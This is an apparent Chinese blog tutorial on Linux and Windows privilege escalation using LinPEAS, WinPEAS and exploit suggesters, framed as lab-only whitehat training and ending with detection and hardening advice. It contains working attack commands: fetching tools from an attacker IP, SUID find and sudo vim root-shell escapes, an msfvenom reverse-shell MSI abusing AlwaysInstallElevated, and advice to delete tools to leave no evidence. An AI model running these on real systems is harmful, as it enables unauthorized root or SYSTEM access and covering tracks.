ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

提权辅助工具:LinPEAS、WinPEAS漏洞自动排查实战

提权辅助工具:LinPEAS、WinPEAS漏洞自动排查实战 06-提权辅助工具LinPEAS、WinPEAS漏洞自动排查实战合规声明本系列文章所有技术仅在本地靶场VulnHub / Metasploitable / 自建域环境或书面授权渗透测试中进行。未经授权的渗透测试属违法行为请勿对任何未经你书面授权的系统使用本文所述技术。本文是白帽教程核心目标是让防御者理解攻击链路、加固自身系统。一、为什么需要自动化提权信息收集在 CSDN 刷提权文章的时候你一定见过这样的场景攻击者拿到一个低权限 Shell然后开始手搓系统排查——输入十几条命令逐条盯着输出看 SUID、sudo、可写路径……这种做法叫手工枚举Manual Enumeration。手工枚举有两个致命缺点慢。一次完整的提权枚举光是敲命令就要几十条id、sudo -l、find找 SUID、cat /etc/passwd、看历史命令、翻配置文件……人在紧张的操作中很容易漏掉某一步。漏。经验不足的渗透测试者不知道该看什么。系统上堆了 500 个 SUID 文件哪个是漏洞/etc/passwd里哪个用户值得注意手工排查看 15 分钟工具 5 秒扫完还带了颜色分级提示孰优孰劣一目了然。所以业内主流做法是枚举靠工具判断靠人脑。工具负责把系统里所有可疑的、可利用的、历史遗留的点挖出来渗透者负责从输出里挑出真正能打的点。举个真实的对比一台 Debian 靶机手工枚举要敲id、whoami、sudo -l、find / -perm -4000、cat /etc/passwd、ps aux、crontab -l、cat /etc/group、netstat -an……十几条命令下来至少 10 分钟还要人眼在一屏屏输出里大海捞针。而 LinPEAS 一条命令 30 秒跑完把上述信息全部按颜色分级 区块归类整理好还额外补上了你根本想不到要查的点——比如 Web 服务配置泄露、Docker 组权限、环境变量里躺着的密码、容器逃逸迹象。工具的不漏靠的是作者把十几年的实战经验编码进了脚本。这个系列我们用的就是 PEASS 家族的 LinPEAS / WinPEAS。二、PEASS-ng 项目介绍PEASSPrivilege Escalation Awesome Scripts SUITE是网络安全大佬Carlos Polop发起的一个开源项目仓库叫peass-ng原privilege-escalation-awesome-scripts-suiteStar 数量在两万上下几乎是提权工具的标配。它包含三大件工具适用系统形态核心用途LinPEASLinux.sh脚本也有.c编译版Linux 提权信息收集WinPEASWindows.exe可执行文件、.bat批处理Windows 提权信息收集PEASS-ng-两个工具的统称-它的设计哲学是一次运行全部输出颜色分级扫完即走。你不需要在系统上装任何依赖LinPEAS 是纯 shell 脚本WinPEAS 是静态编译的 .NET 可执行文件扔上去就能跑跑完就删痕迹很小。为什么选它而不是自己写脚本三个理由覆盖面广LinPEAS 的检查项超过 200 项从基础的用户/组/SUID到冷门的 Linux capabilities、内核模块列表、可写脚本、数据库服务明文密码几乎全有覆盖。你自己维护的脚本很难达到这个广度更不可能持续跟新。社区维护PEASS-ng 在 GitHub 上保持更新新漏洞利用姿势出来没多久就会并入检查项。跟随版本等于跟随情报。输出结构友好每一类信息都有区块标题[] ...开头配合颜色分级和区块下方的文字提示新手能快速定位、老手能快速过滤。标准使用流程三句话版上传 → 运行 → 收报告。三个操作细节一是传到/tmp、C:\Windows\Temp这类可写临时目录别放用户目录引起注意二是跑之前确认有没有杀软/EDR——真实授权测试里工具刚落地就被拦截是常有的事三是跑完立刻删掉工具文件不在现场留证据。下载方式在攻击机上# 从 GitHub Releases 下载最新版wgethttps://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shwgethttps://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany.exe# 在国内网络不方便时可改用代理或镜像站下载后本地传递逐行解释wget从 GitHub Releases 拉取文件linpeas.sh是 Linux 版winPEASany.exe是 Windows “全兼容版”任何 Windows 版本都能跑的 .NET 可执行文件。下载下来的是攻击机上的弹药后面要传到靶机上执行。三、LinPEAS 实战从上传到解读3.1 上传与执行假设我们已经通过某个 Web 漏洞比如文件上传、命令注入拿到了一个 Linux 靶机此处以 VulnHub 上经典的 Debian 靶机为例的 Shell当前用户是低权限的www-data。先把脚本传上去。常见方式有三种# 方式一直接 wget要求靶机能出网cd/tmpwgethttp://192.168.56.101:8080/linpeas.sh# 方式二利用已经打通的反向 Shell从攻击机 Python 起 HTTP 服务拉取python3-mhttp.server8080# 攻击机上执行# 靶机上执行curlhttp://192.168.56.101:8080/linpeas.sh-olinpeas.sh# 方式三用 base64 编码直接粘贴不出网时用# 攻击机base64 -w0 linpeas.sh lp.b64把内容拷到靶机echobase64编码内容|base64-dlinpeas.sh上传后立刻给执行权限并运行chmodx linpeas.sh ./linpeas.sh逐行解释chmod x给脚本可执行权限./linpeas.sh直接运行。脚本默认以当前用户权限运行会把系统信息、用户信息、文件系统权限、SUID/sudo、进程、定时任务、网络服务、已知漏洞内核版本检测等内容全部打印出来。上传失败的兜底方案如果靶机不出网wget/curl都连不到攻击机方式三的 base64 方案是最稳的——但脚本太大LinPEAS 有几 MB粘贴不方便。两个变通办法# 方法一压缩再传xz 压缩率很高xz-9-clinpeas.sh|base64-w0lp.txt# 攻击机echo粘贴内容|base64-d|xz-dlinpeas.sh# 靶机# 方法二分段传输内容太长时拆成多段 cat 追加# 攻击机把 base64 内容拆成每段 1000 行靶机逐段粘贴catpart1.txt part2.txt part3.txt|base64-dlinpeas.sh逐行解释第一段在攻击机把脚本xz压缩再 base64 编码输出通常能缩小到几十 KB靶机端先 base64 解码再xz解压还原。第二段是纯文本传输的思路——把编码内容拆成多个文件粘贴最后cat拼接。这两招在处理任何工具传不进去的场景都通用值得练成肌肉记忆。3.2 输出颜色分级先看懂红黄蓝绿LinPEAS 的输出默认带颜色这是它最方便的设计。颜色含义如下颜色含义你该做什么红色有 95% 以上把握是可利用的提权点立即深挖黄色有 60% 左右可能是可利用的提权点手动验证蓝色相对安全的普通信息结合场景判断绿色文件可写 / 服务在运行等有利条件记下来备用LinPEAS 还支持若干实用运行参数收报告时按需取用./linpeas.sh-a# 全量检查包含进程、网络等耗时项目./linpeas.sh-e# 额外检查如软件版本、数据库服务./linpeas.sh-q# 安静模式只输出非绿色的内容减少噪音./linpeas.sh-s# 超级快速模式先跑一遍最有价值的项逐行解释-a会把完整检查清单跑完信息最全但耗时最长-q过滤掉绿字、专注看风险项适合时间紧张的场景-s优先跑高价值项目先出个速报。实战中先-s出速报再-a补全量两轮下来基本不遗漏。举个常见的红色输出例子[] SUID binary -rwsr-xr-x root root /usr/bin/find这行翻译过来是find这个程序带了 SUID 位s出现在属主权限位运行它的任何用户都能以 root 身份运行。经典的利用方式# 利用 SUID 的 find 命令以 root 身份执行命令/usr/bin/find.-execwhoami\;# 会输出 root证明提权成功/usr/bin/find.-exec/bin/sh-p\;# 直接弹出 root shell逐行解释find带 SUID 时-exec参数指定的命令会以文件属主root身份运行。第一条命令先验证身份第二条用-p参数启动一个保持特权的 shell某些 shell 用-p防止启动时自动降权一举拿下 root。3.3 重点看什么LinPEAS 输出四大块LinPEAS 输出很长通常几百行新手容易看花眼。抓重点看这四块① SUID / SGID 文件[]SUID - Check easy privesc /usr/bin/passwd /usr/bin/mount /usr/bin/find# 重点SUID 文件是 Linux 提权第一大头。判断逻辑这个程序平时是 root 才能用的为什么给普通用户如果有自定义脚本、明显可疑的二进制find、vim、python、nano、less 等都能执行命令就进入 GTFOBins 网站gtfobins.github.io查利用姿势。② Sudo 权限[]Checkingsudo -l, /etc/sudoers User www-data may run the following commands on target:(root)NOPASSWD: /usr/bin/vim看到这一行基本就等于提权到手——www-data能以 root 身份免密运行vim。vim 里直接开 shellsudo/usr/bin/vim-c!sh# vim 的 shell 模式以 root 身份弹 shell③ 可写路径与环境变量[]Interesting writable files -rw-r--r-- root root /usr/local/bin/backup.sh# 若属主是你或组可写就是劫持点如果某个定时任务执行的脚本它的属主是当前用户或所在组可写你就可以往里面塞恶意命令等定时任务以 root 跑它时收割权限。这叫定时任务劫持。④ 凭证文件与历史[]Lookingforpasswords... /var/www/html/config.php:$db_passwordPssw0rd123;/home/bob/.bash_history: sshpass-pWelcome1root10.10.10.5开发者的配置文件里写数据库密码、shell 历史里残留 ssh 口令是内网渗透阶段最香的意外收获。拿到这些凭证不光能提权还能横向移动。3.4 结合 linux-exploit-suggester 做内核漏洞检测提权的另一大方向是内核漏洞。LinPEAS 也会检测内核版本并比对已知漏洞但它更偏配置枚举内核对口的工具是linux-exploit-suggesterLES# 攻击机下载wgethttps://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh# 传到靶机执行./linux-exploit-suggester.sh输出会是这样的Possible Exploits: [E] exploit1.c - Linux 2.6.22 3.9 Dirty Cow [E] exploit2.c - Ubuntu 16.04 overlayfs拿到漏洞名后去exploit-db.com搜索对应 exploit。注意内核 exploit 可能把系统打崩靶场里随便试生产环境必须评估稳定性。3.5 GTFOBinsSUID/Sudo 利用姿势大全看到可疑的 SUID 文件或 sudo 授权后下一步怎么用答案是GTFOBinsgtfobins.github.io。它收录了 Unix 系统上几百个可执行文件的各种逃逸姿势——怎么用find、vim、python这类常见程序弹出 shell。# 以 find 为例GTFOBins 给出的标准姿势find.-exec/bin/sh-p\;-quit# vim 的 sudo 逃逸sudovim-c:!/bin/sh# python 的 SUID 逃逸假设有 SUID pythonpython-cimport os; os.setuid(0); os.system(/bin/sh)逐行解释第一行-exec /bin/sh -p让 find 以文件属主root身份执行 sh-quit执行一次即退出、避免递归死循环第二行 vim 以 sudo 权限启动后:!是 vim 的执行外部命令指令直接弹出 root shell第三行 Python 先setuid(0)把有效用户 ID 恢复成 root 再开 shell——因为 SUID 程序运行时有效 UID 是文件属主但真实 UID 仍是普通用户部分 shell 检测到两者不一致会自动降权所以要么加-p参数、要么显式setuid(0)强行保持特权。判断逻辑总结凡是能被用来执行任意命令的程序shell、解释器、编辑器、less/more/man等分页器带了 SUID 位或被 sudo 授权基本都能提权。GTFOBins 就是这本武功秘籍的目录照着抄就行。四、WinPEAS 实战Windows 提权四板斧Windows 的提权思路和 Linux 完全不同。Linux 靠 SUID/sudo/定时任务Windows 靠的是服务权限、注册表、已存凭证、历史遗留配置。WinPEAS 把这四类全包了。4.1 执行# 在拿到 Windows 命令行的前提下比如 webshell 或反弹 cmd winPEASany.exe # 全量模式输出很长可以重定向到文件再慢慢翻 winPEASany.exe out.txt 21逐行解释直接双击或命令行运行即可。 out.txt 21把标准输出和错误输出都写进文件方便在攻击机上下载后精读。WinPEAS 需要 .NET 运行时若靶机太老用winPEAS.bat批处理版兜底。4.2 四个重点输出块① 服务配置漏洞[] Interesting Services - non Microsoft MyService: C:\Program Files\MyApp\service.exe (Path to exe writable)Windows 服务以 SYSTEM 权限运行。如果某个服务的可执行文件路径可以被当前用户写入常见于软件安装到用户可写目录就替换它然后重启服务即可获得 SYSTEM 权限。这是 Windows 提权的SUID 版。② 注册表自动登录[] Checking AlwaysInstallElevated AlwaysInstallElevated 1AlwaysInstallElevated是注册表里的一个坑爹配置设为 1 后普通用户也能以管理员权限安装 MSI 包。利用方法就是制作一个恶意的 MSI 安装包# 用 msfvenom 生成恶意 MSI攻击机msfvenom-pwindows/x64/shell_reverse_tcpLHOST192.168.56.101LPORT4444\-fmsi-oevil.msi# 在靶机上以普通用户执行msiexec /quiet /i evil.msi逐行解释msfvenom生成一个 MSI 格式的反弹 shell 载荷msiexec是 Windows 自带的 MSI 安装程序因为注册表开了 AlwaysInstallElevated普通用户执行它会以管理员权限安装从而拿到高权限 shell。这个配置为什么会存在多见于早期软件的自动升级需求——为了免去管理员逐台安装的麻烦运维直接全局开了这个开关一劳永逸地省事。但对渗透者来说这等于注册表里写了三个字请提权。WinPEAS 判断的可利用条件很严谨它不只查一个键值而是同时校验两个位置:: 管理员策略HKLM和当前用户策略HKCU都要为 1 才可利用 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated逐行解释两个位置的值同时为0x1时普通用户才能以管理员身份安装 MSI。所以报告里看到AlwaysInstallElevated 1时先确认是两处都开了还是只开了一半别白忙活。③ 已保存的凭证[] Windows credentials Saved credentials: user: winuser pass: qwerty123 autologon: DefaultPassword admin123注册表Winlogon里可能存着自动登录密码、cmdkey /list能列出凭据管理器里保存的账号。这些凭证直接用于横向移动。④ 系统信息与补丁情况[] Windows versions and interesting information Windows 7 Ultimate SP1 (Build 7601)系统版本和补丁编号对上了就可以用 windows-exploit-suggester 去找对应年代的提权 exp比如永恒之蓝 MS17-010。4.3 Windows 内核提权自动比对windows-exploit-suggesterWinPEAS 只负责配置枚举系统补丁与内核漏洞的比对要用 windows-exploit-suggester# 在靶机上把补丁信息导出systeminfosysinfo.txt# 攻击机拉取补丁数据库并比对python2 windows-exploit-suggester.py--updatepython2 windows-exploit-suggester.py--database2023-xx-xx-mssb.xlsx\--systeminfosysinfo.txt逐行解释systeminfo输出含系统版本、已装补丁 KB 列表windows-exploit-suggester 把它和微软安全公告数据库比对列出这个系统缺哪些补丁、对应有什么 exploit。五、输出报告逐块精读方法从海量输出里捞真金工具跑完输出几百行怎么读给你一套三段式阅读法。5.1 第一段先扫红色再扫黄色第一件事是把红色、黄色的输出块全部挑出来。两个办法直接在终端里盯颜色看或者把报告下载到攻击机上用文本工具过滤——比如用正则把 ANSI 颜色码里的红黄行抓出来单独看没有颜色的场景比如浏览器里看纯文本报告就按区块标题走[]开头的区块基本都值得看。挑出来之后只保留当前用户可触达的点一个 SUID 文件属主是 root但它的组权限和你没关系可能就用不上。别看到红就兴奋先问一句这东西现在归我管吗5.2 第二段对着可利用性逐条验证每条候选点都过三个问题我是谁当前用户属于哪些组、拥有什么权限对应报告开头的[] User Groups区块它是什么是配置问题sudo/SUID/可写脚本还是版本问题内核/服务漏洞两者的利用成本和风险完全不同。能不能验证靶场里直接试——看到sudo -l授权了 vim就真去敲一条sudo vim -c :!sh验证十秒钟出结果比纸上分析快得多。5.3 第三段整理提权候选清单把验证过的点按优先级排好形成你自己的决策单优先级1: sudo vim直接 root已验证可用 优先级2: find SUID直接 root已验证可用 优先级3: docker 组提权当前用户不在 docker 组放弃 优先级4: 内核 Dirty Pipe内核版本在影响范围内待验证排序方法论优先级最高的永远是配置错误sudo/SUID/可写服务因为零依赖、零攻击面、打补丁也防不住其次是凭证复用比如在配置文件里翻到 root 密码最后才是内核漏洞——它依赖内核版本、可能打崩系统属于不得已才用的选择。5.4 WinPEAS 报告的精读差异WinPEAS 的结构和 LinPEAS 类似但要多盯两个区块[] Interesting Services服务可执行文件路径可写 替换服务文件拿 SYSTEM。[] Windows Credentials/ Looking for AutoLogon自动登录密码、已存凭证直接给现成密码。Windows 的提权判断多一步补丁比对——服务/注册表配置之外还要用 windows-exploit-suggester 把补丁缺漏和已知 exploit 对上。所以 WinPEAS 的报告精读流程是配置点 → 凭证点 → 补丁点三条线并行哪条线先通就走哪条。六、靶场完整演示一条提权链路下面用 VulnHub 的经典靶机比如DC-1或 Debian 类靶机走一遍完整流程从信息收集到提权成功第一步拿普通权限 Shell。假设通过 Web 漏洞拿到www-data权限。第二步上传 LinPEAS 并运行。cd/tmpwgethttp://192.168.56.101:8080/linpeas.shchmodx linpeas.sh ./linpeas.sh|teelinpeas_report.txt第三步精读输出。红色区块发现[] SUID binary -rwsr-xr-x root root /usr/bin/find第四步验证并利用。/usr/bin/find.-execwhoami\;# 输出 root确认可利用/usr/bin/find.-exec/bin/sh-p\;# id 显示 uid0(root)提权成功第五步可选若 SUID 不可用回到黄色区块找 sudo 权限或跑 linux-exploit-suggester 打内核。这条链路在真实授权的内网渗透里同样成立工具输出 → 人工筛选 → 定向验证 → 拿下权限。Windows 靶机再来一条完整链路自建 Win7/Server 2008 靶场感受一下 WinPEAS 的输出节奏第一步通过弱口令拿下一台 Win7 的普通用户 Shell 第二步上传 winPEASany.exe 到 C:\Windows\Temp 并执行 winPEASany.exe c:\windows\temp\winpeas.txt 21 第三步下载报告精读发现红色区块 [] AlwaysInstallElevated 1 ← 注册表开关被打开 [] Microsoft Windows 7 Ultimate SP1 ← 老系统补丁缺很多 第四步用 msfvenom 生成 MSI 载荷msiexec 静默安装 msiexec /quiet /i evil.msi 第五步攻击机收到 SYSTEM 权限的反弹 shell提权完成同样一条链路只是攻击点从 SUID 换成了注册表配置 系统版本。工具不同、平台不同但方法论完全一致先让工具把坑挖出来再判断哪个坑能跳。七、检测与防御攻击者拿提权工具防御者拿监控清单防御视角最重要的是明白提权工具本身不是病毒但它的行为特征非常明显是可以被检测的。7.1 文件层面的检测样本特征LinPEAS/WinPEAS 的哈希值是公开的EDR终端检测响应、杀软特征库基本都收录了。在终端上落盘即触发已知渗透工具告警。企业可把这类哈希拉入本地黑名单。文件来源监控监控/tmp、C:\Users\Public\、C:\Windows\Temp\等目录的新增可执行文件/脚本。攻击者最喜欢往这些地方丢工具监控它们的写入事件成本低、收益高。7.2 行为层面的检测进程行为WinPEAS 会短时间内大量读取注册表、查询服务信息、调用 WMI——正常软件不会这么干。EDR 可以对这些信息收集型行为建立行为基线偏离基线即告警。命令溯源Linux 侧bash -c里带着linpeas.sh、find / -perm -4000这类命令字符串属于高危命令行特征可以在主机层面做命令日志审计auditd / sysmon。7.3 缩小信息收集的收益面减少 SUID 和滥用 sudo用find / -perm -4000 -type f 2/dev/null自查所有 SUID 文件非必要一律chmod u-ssudo 规则按最小权限原则配置。Windows 关掉危险开关禁用 AlwaysInstallElevated、关闭自动登录、定期清理凭据管理器。及时打补丁大多数提权 exp 依赖的是已公开的内核/服务漏洞补丁跟上了提权工具的红色输出就变少了。7.4 已知工具指纹与 EDR 联动防守方还有一个很实际的抓手PEASS 家族的工具指纹早就是公开情报了。哈希黑名单LinPEAS / WinPEAS 各版本的 SHA256 在 VirusTotal 和各类威胁情报库都能查到EDR/杀软可以直接比对落盘文件的哈希命中即告警。特征字符串脚本内容里的PEASS、LinPEAS、PEAS-ng等特征字符串可以做内存扫描和脚本内容检测行为规则里很常见。YARA 规则社区已有专门匹配 PEASS 工具特征的 YARA 规则可以部署在终端的实时扫描引擎上。把这些已知恶意工具规则和 7.2 的行为规则叠加攻击者落地工具的三条路——文件、内存、命令行——就全部处在监控之下了。小结这一篇我们把提权信息收集从手工作业升级成了半自动流水线LinPEAS / WinPEAS 负责挖坑我们负责判断哪个坑能跳下去。掌握颜色分级、四大重点输出块、以及配套的 linux-exploit-suggester / windows-exploit-suggester你就拥有了任何 Linux/Windows 靶场里都能通用的提权起手式。记住工具只能告诉你哪里有洞能不能打、怎么打靠的是对系统机制的理解。把这一套流程在本地靶场多练几遍直到上传 → 运行 → 找红 → 验证变成肌肉记忆你面对任何一台 Linux/Windows 靶机时起步就不再是两眼一抹黑了。
返回列表